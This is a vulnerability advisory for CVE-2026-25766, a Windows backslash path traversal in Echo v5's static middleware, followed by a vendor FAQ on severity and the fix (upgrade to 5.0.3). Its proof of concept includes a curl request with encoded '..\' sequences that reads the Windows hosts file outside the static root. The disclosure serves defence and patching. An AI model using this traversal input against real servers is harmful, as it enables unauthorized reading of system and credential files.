CVE-2026-25766

On Windows, Echo’s middleware.Static using the default filesystem allows path traversal via backslashes, enabling
unauthenticated remote file read outside the static root.

Details

In middleware/static.go, the requested path is unescaped and normalized with path.Clean (URL semantics).
path.Clean does not treat \ as a path separator, so ..\ sequences remain in the cleaned path. The resulting
path is then passed to currentFS.Open(...). When the filesystem is left at the default (nil), Echo uses defaultFS
which calls os.Open (echo.go:792). On Windows, os.Open treats \ as a path separator and resolves ..\,
allowing traversal outside the static root.

Relevant code:

• middleware/static.go (path unescape + path.Clean + currentFS.Open)
• echo.go defaultFS.Open → os.Open

This is the same class as CVE-2020-36565 (fixed in v4 by switching to OS-aware cleaning), but in v5 the path.Clean

• defaultFS combination reintroduces the Windows backslash traversal.

PoC

Windows only.

Sample code (main.go):

package main

import (
      "log"
      "net/http"

      "github.com/labstack/echo/v5"
      "github.com/labstack/echo/v5/middleware"
)

func main() {
      e := echo.New()

      // Important: use middleware.Static with default filesystem (nil)
      e.Use(middleware.Static("public"))

      e.GET("/healthz", func(c *echo.Context) error {
              return c.String(http.StatusOK, "ok")
      })

      addr := ":1323"
      log.Printf("listening on %s", addr)
      if err := e.Start(addr); err != nil && err != http.ErrServerClosed {
              log.Fatal(err)
      }
}

Static file:

public/index.html

(content can be any HTML)

Run:
go run .

Verify:

curl http://localhost:1323/index.html
curl --path-as-is "http://localhost:1323/..%5c..%5cWindows%5cSystem32%5cdrivers%5cetc%5chosts"
Expected: 404

Screenshot:

Impact

Path traversal leading to arbitrary file read outside the static root. Any unauthenticated remote user can
read local files that the Echo process has access to on Windows, if middleware.Static is used with the default
filesystem.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-25766 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.0.3); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2026-25766? CVE-2026-25766 is a medium-severity path traversal vulnerability in github.com/labstack/echo/v5 (go), affecting versions >= 5.0.0, < 5.0.3. It is fixed in 5.0.3. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-25766? CVE-2026-25766 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/labstack/echo/v5 are affected by CVE-2026-25766? github.com/labstack/echo/v5 (go) versions >= 5.0.0, < 5.0.3 is affected.
4. Is there a fix for CVE-2026-25766? Yes. CVE-2026-25766 is fixed in 5.0.3. Upgrade to this version or later.
5. Is CVE-2026-25766 exploitable, and should I be worried? Whether CVE-2026-25766 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-25766 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-25766? Upgrade github.com/labstack/echo/v5 to 5.0.3 or later.